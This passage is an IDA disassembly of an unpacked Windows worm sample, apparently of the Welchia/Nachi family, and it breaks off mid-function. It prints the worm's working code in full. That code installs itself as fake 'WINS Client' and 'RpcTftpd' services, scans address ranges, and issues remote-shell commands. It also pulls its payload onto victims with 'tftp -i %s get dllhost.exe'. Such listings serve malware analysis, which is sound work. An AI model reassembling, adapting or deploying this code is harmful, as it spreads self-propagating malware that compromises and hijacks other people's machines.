; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D2275A6CF565F6D0A4C9BAABDA0DEBD5 ; File Name : u:\work\d2275a6cf565f6d0a4c9baabda0debd5_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00006000 ( 24576.) ; Section size in file : 00006000 ( 24576.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg000 segment para public 'CODE' use32 assume cs:seg000 ;org 401000h assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_402A00+Dp var_230 = dword ptr -230h var_22C = byte ptr -22Ch var_228 = dword ptr -228h var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_107 = byte ptr -107h arg_0 = dword ptr 4 sub esp, 230h push ebp push esi push edi mov ecx, 41h xor eax, eax lea edi, [esp+23Ch+var_107] mov [esp+23Ch+var_108], 0 lea edx, [esp+23Ch+var_108] rep stosd mov edi, [esp+23Ch+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov [esp+23Ch+var_230], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 push eax rep movsb mov ecx, 49h lea edi, [esp+240h+var_22C] rep stosd push 2 call sub_403134 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4010E7 lea ecx, [esp+23Ch+var_230] mov [esp+23Ch+var_230], 128h push ecx push edi call sub_40312E ; Process32First test eax, eax jz short loc_4010E0 mov esi, dword_404120 mov ebp, dword_404140 loc_401091: ; CODE XREF: sub_401000+C9j lea edx, [esp+23Ch+var_20C] push 2Eh push edx call esi ; dword_404120 add esp, 8 test eax, eax jz short loc_4010A4 mov byte ptr [eax], 0 loc_4010A4: ; CODE XREF: sub_401000+9Fj lea eax, [esp+23Ch+var_108] lea ecx, [esp+23Ch+var_20C] push eax push ecx call ebp ; dword_404140 add esp, 8 test eax, eax jz short loc_4010CB lea edx, [esp+23Ch+var_230] push edx push edi call sub_403128 ; Process32Next test eax, eax jz short loc_4010E0 jmp short loc_401091 ; --------------------------------------------------------------------------- loc_4010CB: ; CODE XREF: sub_401000+B8j push edi call dword_4040E0 ; CloseHandle mov eax, [esp+23Ch+var_228] pop edi pop esi pop ebp add esp, 230h retn ; --------------------------------------------------------------------------- loc_4010E0: ; CODE XREF: sub_401000+83j ; sub_401000+C7j push edi call dword_4040E0 ; CloseHandle loc_4010E7: ; CODE XREF: sub_401000+6Cj pop edi pop esi xor eax, eax pop ebp add esp, 230h retn sub_401000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401100 proc near ; CODE XREF: sub_401470+38p var_2 = byte ptr -2 var_1 = byte ptr -1 push ecx push ebx push esi mov esi, dword_40413C call esi ; dword_40413C cdq mov ecx, 11h idiv ecx cmp edx, 0Eh jnz short loc_40112E call esi ; dword_40413C mov ebx, eax and ebx, 80000003h jns short loc_401129 dec ebx or ebx, 0FFFFFFFCh inc ebx loc_401129: ; CODE XREF: sub_401100+22j add bl, 3Fh jmp short loc_401160 ; --------------------------------------------------------------------------- loc_40112E: ; CODE XREF: sub_401100+16j cmp edx, 0Fh jnz short loc_401144 call esi ; dword_40413C cdq mov ecx, 2Dh idiv ecx mov ebx, edx add bl, 80h jmp short loc_401160 ; --------------------------------------------------------------------------- loc_401144: ; CODE XREF: sub_401100+31j cmp edx, 10h jnz short loc_40115A call esi ; dword_40413C cdq mov ecx, 9 idiv ecx mov ebx, edx sub bl, 40h jmp short loc_401160 ; --------------------------------------------------------------------------- loc_40115A: ; CODE XREF: sub_401100+47j mov bl, byte_405BA4[edx] loc_401160: ; CODE XREF: sub_401100+2Cj ; sub_401100+42j ... call esi ; dword_40413C and eax, 800000FFh jns short loc_401170 dec eax or eax, 0FFFFFF00h inc eax loc_401170: ; CODE XREF: sub_401100+67j mov [esp+0Ch+var_2], al call esi ; dword_40413C and eax, 800000FFh jns short loc_401184 dec eax or eax, 0FFFFFF00h inc eax loc_401184: ; CODE XREF: sub_401100+7Bj mov [esp+0Ch+var_1], al call esi ; dword_40413C and eax, 800000FFh jns short loc_401198 dec eax or eax, 0FFFFFF00h inc eax loc_401198: ; CODE XREF: sub_401100+8Fj xor edx, edx xor ecx, ecx mov ch, [esp+0Ch+var_1] mov dh, bl mov dl, [esp+0Ch+var_2] and eax, 0FFh shl edx, 10h or eax, edx and ecx, 0FFFFh pop esi or eax, ecx pop ebx pop ecx retn sub_401100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4011C0 proc near ; CODE XREF: seg000:004030AAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 call dword_4040CC ; FreeConsole call sub_4027B0 test eax, eax jnz short locret_4011FB push 104h push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" call dword_4040D0 ; GetSystemDirectoryA call sub_402730 sub eax, 2 jz short loc_4011FC mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4016D0 add esp, 8 locret_4011FB: ; CODE XREF: sub_4011C0+Dj retn ; --------------------------------------------------------------------------- loc_4011FC: ; CODE XREF: sub_4011C0+27j jmp sub_4027E0 sub_4011C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401210 proc near ; CODE XREF: sub_401280+AFp ; sub_401280:loc_4013B1p ... push esi mov esi, dword_4040C8 loc_401217: ; CODE XREF: sub_401210+27j call sub_401E80 test eax, eax jnz short loc_401230 loc_401220: ; CODE XREF: sub_401210+1Ej push 927C0h call esi ; dword_4040C8 call sub_401E80 test eax, eax jz short loc_401220 loc_401230: ; CODE XREF: sub_401210+Ej call sub_401EA0 test eax, eax jz short loc_401217 mov esi, dword_40411C push offset dword_407478 push offset aTftpISGetDllho ; "tftp -i %s get dllhost.exe wins\\DLLHOST"... push offset dword_4075A8 call esi ; dword_40411C add esp, 0Ch push offset dword_407478 push offset aTftpISGetSvcho ; "tftp -i %s get svchost.exe wins\\SVCHOST"... push offset dword_407628 call esi ; dword_40411C add esp, 0Ch call sub_4020E0 call sub_402130 pop esi retn sub_401210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401280 proc near ; CODE XREF: sub_4016D0+Aj ; seg000:0040294Fp var_1A0 = word ptr -1A0h var_194 = byte ptr -194h var_190 = byte ptr -190h sub esp, 1A4h lea eax, [esp+1A4h+var_190] push eax push 202h call dword_40418C ; WSAStartup test eax, eax jnz loc_401359 call sub_402A00 lea ecx, [esp+1A4h+var_1A0] push ecx call dword_4040B8 ; GetLocalTime cmp [esp+1A4h+var_1A0], 7D4h jnz short loc_4012DB push offset aRpcpatch ; "RpcPatch" call sub_402F00 push offset aRpctftpd ; "RpcTftpd" call sub_402F00 add esp, 8 call sub_402970 push 1 call dword_4040BC ; ExitProcess loc_4012DB: ; CODE XREF: sub_401280+35j push ebx push ebp push esi push edi call dword_4040C0 ; GetTickCount push eax call dword_404104 ; srand mov esi, dword_4040C8 mov ecx, 10h mov eax, 0AAAAAAAAh mov edi, offset dword_406430 add esp, 4 rep stosd loc_401306: ; CODE XREF: sub_401280+A3j push 109A0h call sub_402FC0 add esp, 4 mov ds:dword_4075A0, eax push 64h call esi ; dword_4040C8 mov eax, ds:dword_4075A0 test eax, eax jz short loc_401306 call sub_401F30 call sub_402170 call sub_401210 call sub_401780 lea edx, [esp+1A4h+var_194] push edx push 0 push 0 push offset sub_401990 push 0 push 0 call dword_4040C4 ; CreateThread test eax, eax jnz short loc_401360 pop edi pop esi pop ebp pop ebx loc_401359: ; CODE XREF: sub_401280+18j add esp, 1A4h retn ; --------------------------------------------------------------------------- loc_401360: ; CODE XREF: sub_401280+D3j push eax call dword_4040E0 ; CloseHandle push offset aRpctftpd ; "RpcTftpd" call sub_402540 add esp, 4 test eax, eax jnz short loc_401398 push 3E8h call esi ; dword_4040C8 call sub_4015E0 push 3E8h call esi ; dword_4040C8 push offset aRpctftpd ; "RpcTftpd" call sub_402540 add esp, 4 loc_401398: ; CODE XREF: sub_401280+F6j push 7D0h call esi ; dword_4040C8 mov ebx, dword_404190 mov ebp, dword_404194 mov edi, dword_40413C loc_4013B1: ; CODE XREF: sub_401280+1DEj call sub_401210 push offset dword_407478 call ebp ; dword_404194 push eax call ebx ; dword_404190 mov esi, eax push 0 and esi, 0FFFF0000h push 0 push 1 push esi call sub_401470 add esp, 10h call sub_401210 call edi ; dword_40413C and eax, 80000001h jns short loc_4013EA dec eax or eax, 0FFFFFFFEh inc eax loc_4013EA: ; CODE XREF: sub_401280+163j jz short loc_4013F4 add esi, 10000h jmp short loc_4013FA ; --------------------------------------------------------------------------- loc_4013F4: ; CODE XREF: sub_401280:loc_4013EAj sub esi, 30000h loc_4013FA: ; CODE XREF: sub_401280+172j push 0 push 0 push 3 push esi call sub_401470 call sub_401210 call edi ; dword_40413C cdq mov ecx, 4Ch xor esi, esi idiv ecx push 1 push 0 push 1 mov si, word_40537C[edx*2] shl esi, 10h push esi call sub_401470 add esp, 20h call sub_401210 call edi ; dword_40413C and eax, 80000001h jns short loc_401444 dec eax or eax, 0FFFFFFFEh inc eax loc_401444: ; CODE XREF: sub_401280+1BDj jz short loc_40144A push 0 jmp short loc_40144C ; --------------------------------------------------------------------------- loc_40144A: ; CODE XREF: sub_401280:loc_401444j push 1 loc_40144C: ; CODE XREF: sub_401280+1C8j push 1 push 1 push esi call sub_401470 add esp, 10h call sub_402A00 jmp loc_4013B1 sub_401280 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401470 proc near ; CODE XREF: sub_401280+14Fp ; sub_401280+181p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 0Ch push ebx push ebp mov ebp, dword_4040C8 push esi mov esi, [esp+18h+arg_4] push edi shl esi, 10h xor edi, edi xor ebx, ebx test esi, esi mov [esp+1Ch+var_8], 1 mov [esp+1Ch+var_C], ebx mov [esp+1Ch+var_4], esi jle loc_4015C7 loc_4014A0: ; CODE XREF: sub_401470+151j mov eax, [esp+1Ch+arg_8] test eax, eax jz short loc_4014B1 call sub_401100 mov ebx, eax jmp short loc_4014B7 ; --------------------------------------------------------------------------- loc_4014B1: ; CODE XREF: sub_401470+36j mov eax, [esp+1Ch+arg_0] add ebx, eax loc_4014B7: ; CODE XREF: sub_401470+3Fj cmp bl, 0C5h jz loc_4015B6 mov ecx, ebx shr ecx, 8 cmp cl, 0C5h jz loc_4015B6 mov eax, ebx shr eax, 10h cmp al, 0C5h jz loc_4015B6 mov edx, ebx shr edx, 18h cmp dl, 0C5h jz loc_4015B6 cmp bx, 9999h jz loc_4015B6 cmp cx, 9999h jz loc_4015B6 cmp ax, 9999h jz loc_4015B6 push 4 call sub_402FC0 mov esi, eax add esp, 4 test esi, esi jnz short loc_40152D push 64h call ebp ; dword_4040C8 push 4 call sub_402FC0 mov esi, eax add esp, 4 test esi, esi jz short loc_401575 loc_40152D: ; CODE XREF: sub_401470+A7j test edi, edi jz short loc_401538 push edi call dword_4040E0 ; CloseHandle loc_401538: ; CODE XREF: sub_401470+BFj push ebx call dword_404188 ; ntohl mov [esi], eax mov eax, [esp+1Ch+arg_C] test eax, eax jz short loc_401558 lea eax, [esp+1Ch+arg_4] push eax push 0 push esi push offset sub_402C40 jmp short loc_401565 ; --------------------------------------------------------------------------- loc_401558: ; CODE XREF: sub_401470+D7j lea ecx, [esp+1Ch+arg_4] push ecx push 0 push esi push offset sub_402B20 loc_401565: ; CODE XREF: sub_401470+E6j push 0 push 0 call dword_4040C4 ; CreateThread push 2 mov edi, eax call ebp ; dword_4040C8 loc_401575: ; CODE XREF: sub_401470+BBj mov eax, [esp+1Ch+var_8] test eax, eax jz short loc_401596 cmp [esp+1Ch+var_C], 12Ch jl short loc_401596 push 7D0h call ebp ; dword_4040C8 mov [esp+1Ch+var_8], 0 loc_401596: ; CODE XREF: sub_401470+10Bj ; sub_401470+115j cmp ds:dword_4075A4, 12Ch jl short loc_4015B2 loc_4015A2: ; CODE XREF: sub_401470+140j push 2 call ebp ; dword_4040C8 cmp ds:dword_4075A4, 12Ch jge short loc_4015A2 loc_4015B2: ; CODE XREF: sub_401470+130j mov esi, [esp+1Ch+var_4] loc_4015B6: ; CODE XREF: sub_401470+4Aj ; sub_401470+58j ... mov ebx, [esp+1Ch+var_C] inc ebx cmp ebx, esi mov [esp+1Ch+var_C], ebx jl loc_4014A0 loc_4015C7: ; CODE XREF: sub_401470+2Aj push 0EA60h call ebp ; dword_4040C8 pop edi pop esi pop ebp pop ebx add esp, 0Ch retn sub_401470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4015E0 proc near ; CODE XREF: sub_401280+FFp ; sub_4016D0p var_208 = byte ptr -208h var_104 = byte ptr -104h sub esp, 208h lea eax, [esp+208h+var_104] push esi mov esi, dword_40411C push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push offset aSDllcacheTftpd ; "%s\\dllcache\\tftpd.exe" push eax call esi ; dword_40411C add esp, 0Ch lea ecx, [esp+20Ch+var_208] push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push offset aSWinsSvchost_e ; "%s\\wins\\svchost.exe" push ecx call esi ; dword_40411C add esp, 0Ch lea edx, [esp+20Ch+var_208] lea eax, [esp+20Ch+var_104] push 0 push edx push eax call dword_4040B4 ; CopyFileA push offset aMsdtc ; "MSDTC" push offset aSvchost_exe ; "svchost.exe" push offset aNetworkConnect ; "Network Connections Sharing" push offset aRpctftpd ; "RpcTftpd" call sub_4023E0 add esp, 10h pop esi add esp, 208h retn sub_4015E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401660 proc near ; CODE XREF: sub_4016D0+5p var_20C = byte ptr -20Ch var_108 = byte ptr -108h sub esp, 20Ch lea eax, [esp+20Ch+var_108] push 104h push eax push 0 call dword_4040A8 ; GetModuleFileNameA push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" lea ecx, [esp+210h+var_20C] push offset aSWinsDllhost_e ; "%s\\wins\\DLLHOST.EXE" push ecx call dword_40411C ; sprintf add esp, 0Ch lea edx, [esp+20Ch+var_20C] lea eax, [esp+20Ch+var_108] push 0 push edx push eax call dword_4040B4 ; CopyFileA push offset aBrowser ; "Browser" push offset aDllhost_exe ; "DLLHOST.EXE" push offset aWinsClient ; "WINS Client" push offset aRpcpatch ; "RpcPatch" call sub_4023E0 add esp, 21Ch retn sub_401660 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4016D0 proc near ; CODE XREF: sub_4011C0+33p call sub_4015E0 call sub_401660 jmp sub_401280 sub_4016D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4016E0 proc near ; CODE XREF: sub_401780:loc_4018BCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] push 0 push 0 push eax push ecx push 0 call sub_403110 neg eax sbb eax, eax inc eax retn sub_4016E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401700 proc near ; CODE XREF: sub_401780+16Dp var_54 = dword ptr -54h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd lea ecx, [esp+58h+var_54] lea edx, [esp+58h+var_44] push ecx mov ecx, [esp+5Ch+arg_0] push edx push eax push eax push eax push eax push eax push eax push ecx push eax mov [esp+80h+var_44], 44h mov [esp+80h+var_40], eax mov [esp+80h+var_38], eax mov [esp+80h+var_3C], eax mov [esp+80h+var_28], eax mov [esp+80h+var_2C], eax mov [esp+80h+var_30], eax mov [esp+80h+var_34], eax mov [esp+80h+var_14], ax mov [esp+80h+var_10], eax mov [esp+80h+var_12], ax mov [esp+80h+var_18], 1 call dword_4040E4 ; CreateProcessA mov ecx, [esp+58h+var_54] pop edi neg eax sbb eax, eax and eax, ecx add esp, 54h retn sub_401700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401780 proc near ; CODE XREF: sub_401280+B4p var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = word ptr -0B8h var_B6 = byte ptr -0B6h var_B4 = byte ptr -0B4h sub esp, 0C8h push esi push edi call sub_402310 mov edi, eax test edi, edi jz short loc_40179C cmp edi, 1 jnz loc_4018C8 loc_40179C: ; CODE XREF: sub_401780+11j push edi call sub_402390 add esp, 4 test eax, eax jnz loc_4018C8 call dword_4040A0 ; GetOEMCP mov esi, eax call dword_4040A4 ; GetSystemDefaultLCID mov ecx, eax and ecx, 3FFh shr ax, 0Ah cmp esi, 1B5h jnz short loc_4017E7 cmp cx, 9 jnz loc_40192F cmp ax, 1 jnz loc_40192F xor eax, eax jmp short loc_40185E ; --------------------------------------------------------------------------- loc_4017E7: ; CODE XREF: sub_401780+4Dj cmp esi, 3A8h jnz short loc_40180A cmp cx, 4 jnz loc_40192F cmp ax, 2 jnz loc_40192F mov eax, 1 jmp short loc_40185E ; --------------------------------------------------------------------------- loc_40180A: ; CODE XREF: sub_401780+6Dj cmp esi, 3B6h jnz short loc_40182D cmp cx, 4 jnz loc_40192F cmp ax, 1 jnz loc_40192F mov eax, 2 jmp short loc_40185E ; --------------------------------------------------------------------------- loc_40182D: ; CODE XREF: sub_401780+90j cmp esi, 3A4h jz loc_40192F cmp esi, 3B5h jnz loc_40192F cmp cx, 12h jnz loc_40192F cmp ax, 1 jnz loc_40192F mov eax, 3 loc_40185E: ; CODE XREF: sub_401780+65j ; sub_401780+88j ... mov ecx, dword_4061A8 mov edx, dword_4061AC mov [esp+0D0h+var_C8], ecx mov ecx, dword_4061B0 mov [esp+0D0h+var_C4], edx mov edx, dword_4061B4 mov [esp+0D0h+var_C0], ecx mov cx, word_4061B8 mov [esp+0D0h+var_BC], edx mov dl, byte_4061BA test edi, edi mov [esp+0D0h+var_B8], cx mov [esp+0D0h+var_B6], dl jnz short loc_4018AF mov eax, off_405424[eax*4] lea ecx, [esp+0D0h+var_C8] push eax push ecx jmp short loc_4018BC ; --------------------------------------------------------------------------- loc_4018AF: ; CODE XREF: sub_401780+11Ej mov edx, off_405414[eax*4] lea eax, [esp+0D0h+var_C8] push edx push eax loc_4018BC: ; CODE XREF: sub_401780+12Dj call sub_4016E0 add esp, 8 test eax, eax jnz short loc_4018D3 loc_4018C8: ; CODE XREF: sub_401780+16j ; sub_401780+27j pop edi xor eax, eax pop esi add esp, 0C8h retn ; --------------------------------------------------------------------------- loc_4018D3: ; CODE XREF: sub_401780+146j lea ecx, [esp+0D0h+var_C8] lea edx, [esp+0D0h+var_B4] push ecx push offset aSNOZQ ; "%s -n -o -z -q" push edx call dword_40411C ; sprintf lea eax, [esp+0DCh+var_B4] push eax call sub_401700 mov esi, eax add esp, 10h test esi, esi jnz short loc_401904 pop edi pop esi add esp, 0C8h retn ; --------------------------------------------------------------------------- loc_401904: ; CODE XREF: sub_401780+179j push 57E40h push esi call dword_4040B0 ; WaitForSingleObject test eax, eax jz short loc_40193A push 1 push esi call dword_4040AC ; TerminateProcess push esi call dword_4040E0 ; CloseHandle lea ecx, [esp+0D0h+var_C8] push ecx call dword_4040E8 ; DeleteFileA loc_40192F: ; CODE XREF: sub_401780+53j ; sub_401780+5Dj ... pop edi xor eax, eax pop esi add esp, 0C8h retn ; --------------------------------------------------------------------------- loc_40193A: ; CODE XREF: sub_401780+192j push esi call dword_4040E0 ; CloseHandle mov esi, dword_4040C8 push 3A98h call esi ; dword_4040C8 lea edx, [esp+0D0h+var_C8] push edx call dword_4040E8 ; DeleteFileA push edi call sub_402390 add esp, 4 test eax, eax jz short loc_401977 push 2 call sub_4022A0 add esp, 4 push 4E20h call esi ; dword_4040C8 loc_401977: ; CODE XREF: sub_401780+1E4j pop edi mov eax, 1 pop esi add esp, 0C8h retn sub_401780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401990 proc near ; DATA XREF: sub_401280+C2o var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = byte ptr -10h sub esp, 28h push ebx push ebp push esi push edi push 0 push 1 push 2 call dword_404150 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_401AFA push 0 call dword_404188 ; ntohl mov [esp+38h+var_20], 2 mov [esp+38h+var_1C], eax call dword_40413C ; rand cdq mov ecx, 64h mov ebx, dword_404174 idiv ecx mov ebp, dword_404178 add edx, 29Ah xor esi, esi loc_4019E3: ; CODE XREF: sub_401990+8Fj add dx, si xor eax, eax mov al, dh mov word_405B68, dx cmp al, 0C5h jz short loc_401A18 cmp dl, 0C5h jz short loc_401A18 push edx call ebx ; dword_404174 lea ecx, [esp+38h+var_20] push 10h push ecx push edi mov [esp+44h+var_1E], ax call ebp ; dword_404178 cmp eax, 0FFFFFFFFh jnz short loc_401A21 mov dx, word_405B68 loc_401A18: ; CODE XREF: sub_401990+63j ; sub_401990+68j inc esi cmp esi, 3E8h jl short loc_4019E3 loc_401A21: ; CODE XREF: sub_401990+7Fj cmp esi, 3E8h jnz short loc_401A37 call dword_40417C ; WSACleanup push 1 call dword_4040BC ; ExitProcess loc_401A37: ; CODE XREF: sub_401990+97j push 7D0h push edi call dword_404180 ; listen cmp eax, 0FFFFFFFFh jz loc_401AF3 lea edx, [esp+38h+var_28] lea eax, [esp+38h+var_10] push edx push eax push edi mov [esp+44h+var_28], 10h call dword_404184 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jz loc_401AF3 mov ebp, dword_4040C8 mov ebx, dword_4040C4 loc_401A7C: ; CODE XREF: sub_401990+142j push 4 call sub_402FC0 add esp, 4 test eax, eax jnz short loc_401A9C push 0Ah call ebp ; dword_4040C8 push 4 call sub_402FC0 add esp, 4 test eax, eax jz short loc_401ABC loc_401A9C: ; CODE XREF: sub_401990+F8j lea ecx, [esp+38h+var_24] mov [eax], esi push ecx push 0 push eax push offset sub_401C80 push 0 push 0 call ebx ; dword_4040C4 test eax, eax jz short loc_401AE7 push eax call dword_4040E0 ; CloseHandle loc_401ABC: ; CODE XREF: sub_401990+10Aj lea edx, [esp+38h+var_28] lea eax, [esp+38h+var_10] push edx push eax push edi call dword_404184 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_401A7C push edi call dword_404170 ; closesocket pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 28h retn 4 ; --------------------------------------------------------------------------- loc_401AE7: ; CODE XREF: sub_401990+123j cmp esi, 0FFFFFFFFh jz short loc_401AF3 push esi call dword_404170 ; closesocket loc_401AF3: ; CODE XREF: sub_401990+B6j ; sub_401990+DAj ... push edi call dword_404170 ; closesocket loc_401AFA: ; CODE XREF: sub_401990+18j pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 28h retn 4 sub_401990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401B10 proc near ; CODE XREF: sub_401C80+D8p ; sub_401C80+121p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_4] push ebx push ebp push esi push edi mov edi, edx or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+10h+arg_0] push 0 not ecx dec ecx push ecx push edx push edi call dword_404168 ; send test eax, eax jnz short loc_401B3C pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_401B3C: ; CODE XREF: sub_401B10+25j mov esi, [esp+10h+arg_8] mov ebx, dword_40416C push 0 push 3FFh push esi push edi call ebx ; dword_40416C cmp eax, 0FFFFFFFFh jz short loc_401B7E mov ebp, dword_404100 loc_401B5C: ; CODE XREF: sub_401B10+6Cj push offset dword_4061BC push esi mov byte ptr [eax+esi], 0 call ebp ; dword_404100 add esp, 8 test eax, eax jnz short loc_401B85 push eax push 3FFh push esi push edi call ebx ; dword_40416C cmp eax, 0FFFFFFFFh jnz short loc_401B5C loc_401B7E: ; CODE XREF: sub_401B10+44j pop edi pop esi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_401B85: ; CODE XREF: sub_401B10+5Dj pop edi pop esi pop ebp mov eax, 1 pop ebx retn sub_401B10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401B90 proc near ; CODE XREF: sub_401C80+162p ; sub_401C80+192p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ecx mov edx, [esp+4+arg_4] push ebx push ebp push esi push edi mov edi, edx or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov esi, [esp+14h+arg_0] push 0 not ecx dec ecx push ecx push edx push esi call dword_404168 ; send test eax, eax jz loc_401C64 lea eax, [esp+14h+var_4] push 4 push eax push 1006h push 0FFFFh push esi mov [esp+28h+var_4], 15F90h call dword_404164 ; setsockopt mov ebx, dword_4040C0 call ebx ; dword_4040C0 mov edi, [esp+14h+arg_8] push 0 push 1FFh push edi push esi mov [esp+24h+arg_4], eax call dword_40416C ; recv mov esi, eax call ebx ; dword_4040C0 mov ecx, [esp+14h+arg_4] mov ebp, eax sub ebp, ecx cmp esi, 0FFFFFFFFh jz short loc_401C64 loc_401C0C: ; CODE XREF: sub_401B90+D2j mov byte ptr [esi+edi], 0 mov esi, dword_404100 push offset aTransferSucces ; "Transfer successful" push edi call esi ; dword_404100 add esp, 8 test eax, eax jnz short loc_401C6C push offset aTimeoutOccurre ; "Timeout occurred" push edi call esi ; dword_404100 add esp, 8 test eax, eax jnz short loc_401C64 cmp ebp, 15F2Ch ja short loc_401C64 call ebx ; dword_4040C0 mov ecx, [esp+14h+arg_0] push 0 push 1FFh push edi push ecx mov [esp+24h+arg_4], eax call dword_40416C ; recv mov esi, eax call ebx ; dword_4040C0 sub eax, [esp+14h+arg_4] add ebp, eax cmp esi, 0FFFFFFFFh jnz short loc_401C0C loc_401C64: ; CODE XREF: sub_401B90+26j ; sub_401B90+7Aj ... pop edi pop esi pop ebp xor eax, eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_401C6C: ; CODE XREF: sub_401B90+93j pop edi pop esi pop ebp mov eax, 1 pop ebx pop ecx retn sub_401B90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401C80 proc near ; DATA XREF: sub_401990+116o var_404 = dword ptr -404h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh arg_0 = dword ptr 4 sub esp, 404h mov eax, [esp+404h+arg_0] push ebp push esi push edi mov esi, [eax] mov ecx, 0FFh xor eax, eax lea edi, [esp+410h+var_3FF] mov [esp+410h+var_400], 0 push 4 rep stosd lea ecx, [esp+414h+var_404] mov [esp+414h+var_404], 1388h stosw push ecx push 1006h push 0FFFFh push esi stosb call dword_404164 ; setsockopt mov edi, dword_40416C push 0 lea edx, [esp+414h+var_400] push 3FFh push edx push esi call edi ; dword_40416C cmp eax, 0FFFFFFFFh jz loc_401E54 test eax, eax jz loc_401E54 mov ebp, dword_404100 lea eax, [esp+410h+var_400] push offset aMicrosoftWindo ; "Microsoft Windows" push eax call ebp ; dword_404100 add esp, 8 test eax, eax jz loc_401E54 lea ecx, [esp+410h+var_400] push offset dword_4061BC push ecx call ebp ; dword_404100 add esp, 8 test eax, eax jnz short loc_401D4D loc_401D1D: ; CODE XREF: sub_401C80+CBj push 0 lea edx, [esp+414h+var_400] push 3FFh push edx push esi call edi ; dword_40416C cmp eax, 0FFFFFFFFh jz loc_401E54 mov [esp+eax+410h+var_400], 0 lea eax, [esp+410h+var_400] push offset dword_4061BC push eax call ebp ; dword_404100 add esp, 8 test eax, eax jz short loc_401D1D loc_401D4D: ; CODE XREF: sub_401C80+9Bj lea ecx, [esp+410h+var_400] push ecx push offset aDirWinsDllhost ; "dir wins\\dllhost.exe\n\r" push esi call sub_401B10 add esp, 0Ch test eax, eax jz loc_401E54 lea edx, [esp+410h+var_400] push offset aDllhost_exe ; "DLLHOST.EXE" push edx call ebp ; dword_404100 add esp, 8 test eax, eax jnz loc_401E54 lea eax, [esp+410h+var_400] push offset aDllhost_exe_0 ; "dllhost.exe" push eax call ebp ; dword_404100 add esp, 8 test eax, 